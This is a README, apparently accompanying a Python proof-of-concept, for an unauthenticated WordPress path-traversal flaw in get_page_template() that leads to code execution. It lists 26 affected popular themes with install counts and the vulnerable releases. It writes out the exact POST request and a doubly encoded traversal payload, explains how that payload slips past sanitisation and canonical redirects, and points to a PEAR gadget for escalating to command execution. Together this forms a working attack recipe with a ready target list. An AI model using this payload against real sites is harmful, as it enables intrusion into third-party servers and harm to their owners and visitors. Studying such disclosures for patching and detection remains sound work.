
Python-PoC für CVE-2026-87902, eine nicht authentifizierte WordPress-Path-Traversal-RCE über get_page_template(), mit Versions-Fingerprinting, Theme-Prüfungen und optionaler Dateieinbindung.
| Advisory | GHSA-7hp8-65ch-5whp |
| Product | WordPress <= 7.1.1, fixed in 7.1.2; both versions tested |
| Sink | wp-includes/template.php, get_page_template() |
| Cause | the candidate built from pagename is not passed through validate_file() |
| Actor | anonymous, no account, no cookie, no CSRF token |
| Method | single POST, two query parameters, empty body |
| Effect | arbitrary on-disk .php included and executed in the WordPress process |
| Escalation | remote command execution where the PEAR gadget is exploitable, see PHP and escalation |
| Writes to target | none, unless --function is asked for by name |
| Reproduced here | 6 releases, 7 themes, 4 PHP versions |
The 200 most-installed themes on wordpress.org. 26 ship a page-* directory and are affected, together 765,500 of 9,027,090 active installs. The other 174 fail precondition 1.
| Theme | Version | Installs | page-* | Status | Confirmed |
|---|---|---|---|---|---|
neve | 4.2.11 | 200,000 | page-templates | 🔴 affected | lab |
sydney | 2.71 | 80,000 | page-templates | 🔴 affected | lab |
hestia | 3.3.6 | 70,000 | page-templates | 🔴 affected | lab |
inspiro | 2.2.3 | 60,000 | page-templates | 🔴 affected | survey |
colibri-wp | 1.0.169 | 50,000 | page-templates | 🔴 affected | survey |
twentyfourteen | 4.6 | 50,000 | page-templates | 🔴 affected | lab |
twentytwelve | 4.9 | 50,000 | page-templates | 🔴 affected | lab |
colormag | 4.2.5 | 40,000 | page-templates | 🔴 affected | lab |
zakra | 4.3.3 | 30,000 | page-templates | 🔴 affected | survey |
spacious | 1.9.12 | 20,000 | page-templates | 🔴 affected | survey |
hueman | 3.7.27 | 20,000 | page-templates | 🔴 affected | survey |
bloghash | 1.0.30 | 10,000 | page-templates | 🔴 affected | lab |
botiga | 2.4.9 | 10,000 | page-templates | 🔴 affected | survey |
tutorstarter | 4.0.3 | 10,000 | page-templates | 🔴 affected | survey |
mesmerize | 1.6.187 | 10,000 | page-templates | 🔴 affected | survey |
flash | 1.4.12 | 10,000 | page-templates | 🔴 affected | survey |
shapely | 1.3.6 | 10,000 | page-templates | 🔴 affected | survey |
silverstorm | 1.0.36 | 8,000 | page-templates | 🔴 affected | survey |
prespa | 1.7.8 | 8,000 | page-templates | 🔴 affected | survey |
hybridmag | 1.1.4 | 6,000 | page-templates | 🔴 affected | survey |
chromenews | 6.2.10 | 5,000 | page-templates | 🔴 affected | survey |
morenews | 4.3.10 | 5,000 | page-templates | 🔴 affected | survey |
newsexo | 9.1 | 2,000 | page-templates | 🔴 affected | survey |
reviewnews | 2.0.5 | 1,000 | page-templates | 🔴 affected | survey |
the8-shop-dark | 1.0.5 | 400 | page-templates | 🔴 affected | survey |
newsonline | 0.6 | 100 | page-templates | 🔴 affected | survey |
Tested and unaffected, none of them carrying a page-* directory: astra, kadence, twentysixteen, twentyseventeen, twentytwentythree, twentytwentyfive.
front-page.php does not change affectedness. It only rules out the front page's id for the request, and 4 of the 26 ship one: colormag, hestia, morenews, reviewnews. themes.json records it per theme, and poc.py demotes the front page id only for those four.
| Release | Image default theme | With an affected theme | Confirmed |
|---|---|---|---|
| 7.1.2 | 🟢 not affected, twentytwentyfive | 🟢 not affected, neve | lab |
| 7.1.1 | 🟢 not affected, twentytwentyfive | 🔴 affected, neve | lab |
| 7.1.0 | 🟢 not affected, twentytwentyfive | 🔴 affected, neve | lab |
| 7.0.4 | 🟢 not affected, twentytwentyfive | 🔴 affected, neve | lab |
| 6.8.3 | 🟢 not affected, twentytwentyfive | 🔴 affected, neve | lab |
| 6.1.0 | 🟢 not affected, twentytwentythree | 🔴 affected, twentytwelve | lab |
| 4.9.8 | 🟢 not affected, twentyseventeen | 🔴 affected, twentytwelve | lab |
| the 105 other releases | not measured | not measured | not measured |
PHP variants published per release, which decide the escalation below:
| WordPress releases | PHP variants published as -apache |
|---|---|
4.1.x to 4.5.x | none, plain tag only, 5.6 |
4.6.x to 5.0.x | 5.6 7.0 7.1 7.2 7.3 |
5.1.x to 5.5.x | 7.1 7.2 7.3 7.4 |
5.6.x to 6.0.x | 7.2 7.3 7.4 8.0 8.1 |
6.1.x to 6.6.x | 7.4 8.0 8.1 8.2 8.3 |
6.7.x | 8.1 8.2 8.3 8.4 |
6.8.x and 6.9.x | 8.1 8.2 8.3 8.4 8.5 |
7.0.x and 7.1.x | 8.2 8.3 8.4 8.5 |
POST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
page_id=<any published page>&pagename=<payload>
<payload> is the page- directory, the traversal and the target, with every dot and slash doubly encoded:
templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fwp-admin%252finstall
| Field | Role |
|---|---|
pagename | the payload. WP_Query runs it through sanitize_title_for_query(), which rewrites a literal dot to a dash but preserves percent-encoded octets. get_page_template() then calls urldecode() to decode the result into a path |
page_id | any published page, so the query matches a post instead of returning a 404. Without it the page template is never loaded |
POST | redirect_canonical() returns untouched for any method other than GET and HEAD, and a body is what carries the two fields. See below |
Core builds page-{urldecode($pagename)}.php and resolves it with locate_template(), against the stylesheet directory and then the template one.
On a site with pretty permalinks, redirect_canonical() answers the GET with a 301 to /<slug>/?pagename=<payload>. page_id is dropped on the way, so the query matches no post, handle_404() fires, and get_page_template() is never reached.
A POST also has somewhere to put the two fields: WP::parse_request() reads $_POST first, so the body works exactly as the query string did and the URL is left a bare /. Only the gadget's arguments cannot move, because PHP fills $_SERVER['argv'] from the query string and nowhere else.